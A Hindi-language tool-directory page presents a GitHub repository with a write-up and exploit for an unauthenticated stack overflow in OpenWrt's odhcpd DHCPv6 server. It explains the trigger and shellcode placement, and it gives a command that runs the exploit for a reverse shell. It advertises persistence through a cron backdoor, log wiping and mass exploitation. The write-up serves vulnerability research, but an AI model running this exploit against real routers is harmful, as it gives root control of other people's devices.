Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-53921-PoC-Exploit — CVE-2026-53921 – odhcpd स्टैक ओवरफ्लो (CVSS 9.8) 🛡️ OpenWrt DHCPv6 RCE के लिए विस्तृत और व्यापक राइट-अप और वेरिफायर और मल्टी-एक्सप्लॉइट। MIPS/ARM शेलकोड, ROP चेन, SOCKS5 प्रॉक्सी, पर्सिस्टेंस, लॉग वाइपिंग और मास स्कैनिंग के साथ डुअल-वेक्टर (IA_NA/IA_PD) ओवरफ्लो। नैतिक रूप से उपयोग करें, कानूनी रहें। 🔒 | Kitploit
उपकरण/GitHubGitHub/tc4dy/cve-2026-53921-poc-exploit
एम्बेडेड सिस्टम सुरक्षाटोहीशोषण फ्रेमवर्कIoT सुरक्षाभेद्यता विश्लेषणशोषणपोस्ट-शोषणरेड टीमिंगशेलकोड जनरेशन

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

CVE-2026-53921 – odhcpd स्टैक ओवरफ्लो (CVSS 9.8) 🛡️ OpenWrt DHCPv6 RCE के लिए विस्तृत और व्यापक राइट-अप और वेरिफायर और मल्टी-एक्सप्लॉइट। MIPS/ARM शेलकोड, ROP चेन, SOCKS5 प्रॉक्सी, पर्सिस्टेंस, लॉग वाइपिंग और मास स्कैनिंग के साथ डुअल-वेक्टर (IA_NA/IA_PD) ओवरफ्लो। नैतिक रूप से उपयोग करें, कानूनी रहें। 🔒

पेलोड डेवलपमेंट
बाइनरी शोषण
GitHubtc4dy/cve-2026-53921-poc-exploit

CVE-2026-53921-PoC-Exploit

रिपॉजिटरी देखें
614211 दिन पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2026-53921

CVE-2026-53921 – odhcpd स्टैक ओवरफ़्लो

CVE CVSS OpenWrt

  • केवल शैक्षिक और अधिकृत परीक्षण के लिए। अनधिकृत उपयोग अवैध है।**

भेद्यता अवलोकन

CVE-2026-53921 OpenWrt के odhcpd डेमॉन में एक गंभीर स्टैक बफ़र ओवरफ़्लो है – जो डिफ़ॉल्ट DHCPv6/DHCPv4/RA सर्वर है।

यह कैसे काम करता है

यह भेद्यता odhcpd के DHCPv6 संदेश प्रबंधन कोड में मौजूद है, विशेष रूप से build_ia() और dhcpv6_ia_handle_IAs() फ़ंक्शन में।

तकनीकी गहन विश्लेषण

1. मूल कारण

यह बग DHCPv6 Reply पैकेटों के सीरियलाइज़ेशन (पैकिंग) के दौरान होता है। जब odhcpd क्लाइंट अनुरोधों का जवाब देता है, तो यह 512 बाइट्स के निश्चित आकार के स्टैक बफ़र में उचित बाउंड्स चेकिंग के बिना उत्तर का निर्माण करता है।

// Simplified representation of the vulnerable code

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // No bounds check before writing
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. ओवरफ़्लो को ट्रिगर करना

एक हमलावर निम्नलिखित के साथ DHCPv6 Request (या Solicit) भेजता है:

  • 5 या अधिक IA_NA (Identity Association for Non-temporary Address) विकल्प, जिनमें से प्रत्येक में एक IAAddress सब-विकल्प होता है।
  • 22 या अधिक IA_PD (Identity Association for Prefix Delegation) विकल्प।

जैसे ही odhcpd अपना Reply बनाता है, प्रत्येक विकल्प स्टैक स्थान लेता है। संचित डेटा 512 बाइट्स से अधिक हो जाता है, जिससे ओवरफ़्लो होता है।

3. दो ओवरफ़्लो वेक्टर


वेक्टर ट्रिगर ओवरफ़्लो बिंदु


साइट 1 5 IA_NA विकल्प IA_NA के लिए build_ia() IPv6 पतों के साथ

साइट 2 22 IA_PD विकल्प IA_PD के लिए build_ia()

मूल कारण समान है, लेकिन ओवरफ़्लो विभिन्न कोड पथों में होता है, जिससे दोनों वेक्टर समान रूप से शोषण योग्य बन जाते हैं।

4. मेमोरी लेआउट

Stack Layout (simplified):

+-------------------+  <-- High addresses
|    Return Address |  ← Overwritten with attacker-controlled value
+-------------------+
|  Saved Frame Ptr  |
+-------------------+
|  Local Variables  |  ← 512-byte buffer
+-------------------+  <-- Low addresses

हमलावर सहेजे गए रिटर्न एड्रेस को अधिलेखित करता है ताकि वह मेमोरी में अपने शेलकोड की ओर इंगित करे।

5. शोषण आवश्यकताएँ


आवश्यकता विवरण


नेटवर्क एक्सेस हमलावर के पास लक्ष्य से IPv6 कनेक्टिविटी होनी चाहिए

प्रमाणीकरण कोई नहीं -- अनप्रमाणित हमला

विशेषाधिकार odhcpd रूट के रूप में चलता है, इसलिए RCE पूर्ण सिस्टम नियंत्रण देता है

लक्ष्य सेवा UDP पोर्ट 547 (DHCPv6) खुला होना चाहिए

6. शेलकोड प्लेसमेंट

वास्तविक शोषण में, हमलावर का शेलकोड IAAddress IPv6 पता फ़ील्ड में रखा जाता है (प्रति IA_NA 16 बाइट्स)। तैयार किए गए पैकेट शेलकोड, NOP स्लेड और रिटर्न एड्रेस को इन फ़ील्ड में पैक करते हैं।

Crafted IA_NA Structure:

+-------------------+
| IA_NA Header      | (12 bytes)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← Return address
+-------------------+
| IAAddress 5       | ← Return address
+-------------------+

7. प्रभाव श्रृंखला

Crafted DHCPv6 Request
         ↓
odhcpd processes IA_NA/IA_PD options
         ↓
512-byte stack buffer overflows
         ↓
Return address overwritten
         ↓
CPU jumps to shellcode
         ↓
Reverse shell / Bind shell / RCE
         ↓
Full system compromise (root privileges)

8. हमला वेक्टर बनाम शमन स्थिति

संस्करण स्थिति RCE संभव?


odhcpd < e432dd6 भेद्य [+] हाँ OpenWrt < 24.10.8 भेद्य [+] हाँ OpenWrt < 25.12.5 भेद्य [+] हाँ OpenWrt 24.10.8+ पैच किया [-] नहीं OpenWrt 25.12.5+ पैच किया [-] नहीं odhcpd master + e432dd6 पैच किया [-] नहीं

9. वास्तविक दुनिया का शोषण

यह भेद्यता विशेष रूप से खतरनाक है क्योंकि:

  • odhcpd OpenWrt इंस्टॉलेशन पर डिफ़ॉल्ट रूप से सक्षम होता है।
  • किसी प्रमाणीकरण की आवश्यकता नहीं है---समान IPv6 सेगमेंट पर कोई भी डिवाइस हमला कर सकता है।
  • यह बग अनुरोध प्रसंस्करण पथ में है।
  • एम्बेडेड MIPS/ARM डिवाइसों पर स्टैक कैनरी और ASLR शायद ही कभी मौजूद होते हैं।
  • यह शोषण कई एम्बेडेड वातावरणों में सामान्य सुरक्षा उपायों को बायपास कर सकता है।

प्रभावित संस्करण

घटकभेद्य संस्करणमें ठीक किया गया
odhcpd (master branch)commit e432dd6 से पहलेe432dd6 या बाद में
OpenWrt रिलीज़< 24.10.8
< 25.12.5
24.10.8 और 25.12.5

उपकरण

यह रिपॉज़िटरी दो स्वतंत्र स्क्रिप्ट प्रदान करती है:

स्क्रिप्टउद्देश्यशोषण कोडसुरक्षा
verifier.pyगैर-घुसपैठ भेद्यता जाँच[-] नहीं[+] सुरक्षित
exploit.pyपूर्ण हथियारबंद शोषण[+] हाँ[!] खतरनाक

verifier.py – भेद्यता जाँचकर्ता

  • सेवा सक्रिय है यह सत्यापित करने के लिए एक मानक DHCPv6 Solicit भेजता है।
  • OpenWrt संस्करण का पता लगाने के लिए HTTP/SSH बैनर पढ़ता है।
  • संस्करण की तुलना ज्ञात भेद्य सीमा से करता है।
  • कोई ओवरफ़्लो पेलोड या शेलकोड नहीं भेजता।

exploit.py – पूर्ण शोषण

  • दोहरे-ओवरफ़्लो वेक्टर: IA_NA (Site1) और IA_PD (Site2)।
  • स्वचालित आर्किटेक्चर पहचान (MIPS / ARM)।
  • MIPS बिग-एंडियन रिवर्स और बाइंड शेलकोड।
  • SOCKS5 प्रॉक्सी के लिए समर्थन।
  • स्थायित्व (cron बैकडोर) और लॉग मिटाना।
  • थ्रेडेड स्कैनिंग और सामूहिक शोषण।
  • वैकल्पिक पेलोड एन्कोडिंग (XOR)।

इंस्टॉलेशन

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

उपयोग

Verifier – जाँचें कि कोई लक्ष्य भेद्य है या नहीं

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

Exploit – रिवर्स शेल प्राप्त करें (अवैध गतिविधि के लिए उपयोग न करें, केवल परीक्षण सलाह)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

कमांड-लाइन विकल्प

verifier.py

तर्कविवरण
-u, --targetलक्ष्य IPv6 पता (आवश्यक)
-i, --ifaceनेटवर्क इंटरफ़ेस (डिफ़ॉल्ट: eth0)

exploit.py

टूल डाउनलोड करें